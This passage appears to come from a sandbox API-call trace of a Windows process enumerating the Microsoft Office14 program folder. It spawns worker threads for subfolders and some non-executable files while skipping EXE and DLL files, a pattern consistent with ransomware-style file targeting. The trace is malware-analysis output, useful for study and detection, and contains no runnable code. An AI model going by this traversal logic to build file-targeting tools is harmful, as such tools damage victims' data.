ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8e14a00, ftLastWriteTime.dwHighDateTime=0x1cac1f0, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="excel.exe.manifest", cAlternateFileName="EXCELE~1.MAN")) returned 1 [0140.986] wcscmp (_String1="excel.exe.manifest", _String2=".") returned 1 [0140.986] wcscmp (_String1="excel.exe.manifest", _String2="..") returned 1 [0140.986] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f7570 [0140.986] wcscpy (in: _Dest=0x8f7570, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.986] wcscat (in: _Dest=0x8f7570, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.986] wcscat (in: _Dest=0x8f7570, _Source="excel.exe.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest") returned="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" [0140.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0140.987] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd64d0300, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd64d0300, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x17d6360, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnv.exe", cAlternateFileName="")) returned 1 [0140.987] wcscmp (_String1="excelcnv.exe", _String2=".") returned 1 [0140.987] wcscmp (_String1="excelcnv.exe", _String2="..") returned 1 [0140.987] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd51bd600, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd51bd600, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0xbd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnvpxy.dll", cAlternateFileName="EXCELC~1.DLL")) returned 1 [0140.987] wcscmp (_String1="excelcnvpxy.dll", _String2=".") returned 1 [0140.987] wcscmp (_String1="excelcnvpxy.dll", _String2="..") returned 1 [0140.987] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x522443b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x1372c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRM.XML", cAlternateFileName="")) returned 1 [0140.987] wcscmp (_String1="EXLIRM.XML", _String2=".") returned 1 [0140.988] wcscmp (_String1="EXLIRM.XML", _String2="..") returned 1 [0140.988] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x972b18 [0140.988] wcscpy (in: _Dest=0x972b18, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.988] wcscat (in: _Dest=0x972b18, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.988] wcscat (in: _Dest=0x972b18, _Source="EXLIRM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML" [0140.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x972b18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0140.989] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x60acc8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x13574, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRMV.XML", cAlternateFileName="")) returned 1 [0140.989] wcscmp (_String1="EXLIRMV.XML", _String2=".") returned 1 [0140.989] wcscmp (_String1="EXLIRMV.XML", _String2="..") returned 1 [0140.989] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x972b90 [0140.989] wcscpy (in: _Dest=0x972b90, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0140.989] wcscat (in: _Dest=0x972b90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0140.989] wcscat (in: _Dest=0x972b90, _Source="EXLIRMV.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML" [0140.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x972b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8 [0141.429] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x73f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXSEC32.DLL", cAlternateFileName="")) returned 1 [0141.429] wcscmp (_String1="EXSEC32.DLL", _String2=".") returned 1 [0141.429] wcscmp (_String1="EXSEC32.DLL", _String2="..") returned 1 [0141.429] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd3159200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x533a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTRACT.DLL", cAlternateFileName="")) returned 1 [0141.429] wcscmp (_String1="EXTRACT.DLL", _String2=".") returned 1 [0141.429] wcscmp (_String1="EXTRACT.DLL", _String2="..") returned 1 [0141.429] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd01e3b60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x18bf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.DLL", cAlternateFileName="")) returned 1 [0141.429] wcscmp (_String1="FACILITY.DLL", _String2=".") returned 1 [0141.429] wcscmp (_String1="FACILITY.DLL", _String2="..") returned 1 [0141.429] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.DLL", cAlternateFileName="")) returned 1 [0141.429] wcscmp (_String1="FORM.DLL", _String2=".") returned 1 [0141.429] wcscmp (_String1="FORM.DLL", _String2="..") returned 1 [0141.429] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0141.429] wcscmp (_String1="FORMS", _String2=".") returned 1 [0141.429] wcscmp (_String1="FORMS", _String2="..") returned 1 [0141.429] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f0d48 [0141.429] wcscpy (in: _Dest=0x8f0d48, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0141.430] wcscat (in: _Dest=0x8f0d48, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0141.430] wcscat (in: _Dest=0x8f0d48, _Source="FORMS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FORMS") returned="C:\\Program Files\\Microsoft Office\\Office14\\FORMS" [0147.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f0d48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8c [0147.924] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x88933, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRENCH.LNG", cAlternateFileName="")) returned 1 [0147.924] wcscmp (_String1="FRENCH.LNG", _String2=".") returned 1 [0147.924] wcscmp (_String1="FRENCH.LNG", _String2="..") returned 1 [0147.924] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93c350 [0147.925] wcscpy (in: _Dest=0x93c350, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0147.925] wcscat (in: _Dest=0x93c350, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0147.925] wcscat (in: _Dest=0x93c350, _Source="FRENCH.LNG" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG") returned="C:\\Program Files\\Microsoft Office\\Office14\\FRENCH.LNG" [0147.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d0 [0147.926] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd02ee500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x17d368, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1 [0147.926] wcscmp (_String1="GANTT.DLL", _String2=".") returned 1 [0147.926] wcscmp (_String1="GANTT.DLL", _String2="..") returned 1 [0147.926] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76567200, ftCreationTime.dwHighDateTime=0x1cbc9ed, ftLastAccessTime.dwLowDateTime=0xd7980ce0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x76567200, ftLastWriteTime.dwHighDateTime=0x1cbc9ed, nFileSizeHigh=0x0, nFileSizeLow=0x26cb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="GFX.DLL", cAlternateFileName="")) returned 1 [0147.926] wcscmp (_String1="GFX.DLL", _String2=".") returned 1 [0147.926] wcscmp (_String1="GFX.DLL", _String2="..") returned 1 [0147.926] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52abf210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x45a180, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKExcel.dll", cAlternateFileName="")) returned 1 [0147.926] wcscmp (_String1="GKExcel.dll", _String2=".") returned 1 [0147.926] wcscmp (_String1="GKExcel.dll", _String2="..") returned 1 [0147.926] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f91a00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x52b0b4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66f91a00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2a6b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKPowerPoint.dll", cAlternateFileName="GKPOWE~1.DLL")) returned 1 [0147.926] wcscmp (_String1="GKPowerPoint.dll", _String2=".") returned 1 [0147.926] wcscmp (_String1="GKPowerPoint.dll", _String2="..") returned 1 [0147.926] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65c7ed00, ftCreationTime.dwHighDateTime=0x1cab8ab, ftLastAccessTime.dwLowDateTime=0x61a457d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65c7ed00, ftLastWriteTime.dwHighDateTime=0x1cab8ab, nFileSizeHigh=0x0, nFileSizeLow=0x2f8580, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKWord.dll", cAlternateFileName="")) returned 1 [0147.926] wcscmp (_String1="GKWord.dll", _String2=".") returned 1 [0147.926] wcscmp (_String1="GKWord.dll", _String2="..") returned 1 [0147.926] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x52befd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x623b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.EXE", cAlternateFileName="")) returned 1 [0147.926] wcscmp (_String1="GRAPH.EXE", _String2=".") returned 1 [0147.926] wcscmp (_String1="GRAPH.EXE", _String2="..") returned 1 [0147.926] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2ca8e00, ftCreationTime.dwHighDateTime=0x1cac1de, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2ca8e00, ftLastWriteTime.dwHighDateTime=0x1cac1de, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.exe.manifest", cAlternateFileName="GRAPHE~1.MAN")) returned 1 [0147.926] wcscmp (_String1="Graph.exe.manifest", _String2=".") returned 1 [0147.926] wcscmp (_String1="Graph.exe.manifest", _String2="..") returned 1 [0147.927] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8f78 [0147.927] wcscpy (in: _Dest=0x8f8f78, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0147.927] wcscat (in: _Dest=0x8f8f78, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0147.927] wcscat (in: _Dest=0x8f8f78, _Source="Graph.exe.manifest" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest") returned="C:\\Program Files\\Microsoft Office\\Office14\\Graph.exe.manifest" [0147.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d4 [0147.928] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32f5d600, ftCreationTime.dwHighDateTime=0x1c3b950, ftLastAccessTime.dwLowDateTime=0x61a91a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32f5d600, ftLastWriteTime.dwHighDateTime=0x1c3b950, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.ICO", cAlternateFileName="")) returned 1 [0147.928] wcscmp (_String1="GRAPH.ICO", _String2=".") returned 1 [0147.928] wcscmp (_String1="GRAPH.ICO", _String2="..") returned 1 [0147.928] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x582abeb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1 [0147.928] wcscmp (_String1="Groove", _String2=".") returned 1 [0147.928] wcscmp (_String1="Groove", _String2="..") returned 1 [0147.928] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1218 [0147.928] wcscpy (in: _Dest=0x8f1218, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0147.928] wcscat (in: _Dest=0x8f1218, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0147.928] wcscat (in: _Dest=0x8f1218, _Source="Groove" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove" [0147.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f1218, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14d8 [0147.929] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x3112b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0147.929] wcscmp (_String1="GROOVE.EXE", _String2=".") returned 1 [0147.929] wcscmp (_String1="GROOVE.EXE", _String2="..") returned 1 [0147.929] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fd7600, ftCreationTime.dwHighDateTime=0x1cacbb3, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6fd7600, ftLastWriteTime.dwHighDateTime=0x1cacbb3, nFileSizeHigh=0x0, nFileSizeLow=0x669390, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEEX.DLL", cAlternateFileName="")) returned 1 [0147.929] wcscmp (_String1="GROOVEEX.DLL", _String2=".") returned 1 [0147.929] wcscmp (_String1="GROOVEEX.DLL", _String2="..") returned 1 [0147.929] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0x52fce0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x14ed88, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVEMN.EXE", cAlternateFileName="")) returned 1 [0147.929] wcscmp (_String1="GROOVEMN.EXE", _String2=".") returned 1 [0147.929] wcscmp (_String1="GROOVEMN.EXE", _String2="..") returned 1 [0147.929] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd0360920, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC.DLL", cAlternateFileName="")) returned 1 [0147.929] wcscmp (_String1="HVAC.DLL", _String2=".") returned 1 [0147.929] wcscmp (_String1="HVAC.DLL", _String2="..") returned 1 [0147.929] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50eeca00, ftCreationTime.dwHighDateTime=0x1cbceff, ftLastAccessTime.dwLowDateTime=0xcf0a1be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50eeca00, ftLastWriteTime.dwHighDateTime=0x1cbceff, nFileSizeHigh=0x0, nFileSizeLow=0x3b360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEAWSDC.DLL", cAlternateFileName="")) returned 1 [0147.929] wcscmp (_String1="IEAWSDC.DLL", _String2=".") returned 1 [0147.929] wcscmp (_String1="IEAWSDC.DLL", _String2="..") returned 1 [0147.930] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82531f00, ftCreationTime.dwHighDateTime=0x1cab7f0, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82531f00, ftLastWriteTime.dwHighDateTime=0x1cab7f0, nFileSizeHigh=0x0, nFileSizeLow=0xb13a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEContentService.exe", cAlternateFileName="IECONT~1.EXE")) returned 1 [0147.930] wcscmp (_String1="IEContentService.exe", _String2=".") returned 1 [0147.930] wcscmp (_String1="IEContentService.exe", _String2="..") returned 1 [0147.930] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58c5e60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xa6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCOMMON.DLL", cAlternateFileName="")) returned 1 [0147.930] wcscmp (_String1="IMCOMMON.DLL", _String2=".") returned 1 [0147.930] wcscmp (_String1="IMCOMMON.DLL", _String2="..") returned 1 [0147.930] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dc7c00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb5dc7c00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x73c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMDIMP.ADD", cAlternateFileName="")) returned 1 [0147.930] wcscmp (_String1="IMDIMP.ADD", _String2=".") returned 1 [0147.930] wcscmp (_String1="IMDIMP.ADD", _String2="..") returned 1 [0147.930] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93c260 [0147.930] wcscpy (in: _Dest=0x93c260, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0147.930] wcscat (in: _Dest=0x93c260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0147.930] wcscat (in: _Dest=0x93c260, _Source="IMDIMP.ADD" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD") returned="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD" [0147.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14dc [0147.931] FindNextFileW (in: hFindFile=0x8d9b50, lpFindFileData=0x906dd8 | out: lpFindFileData=0x906dd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, 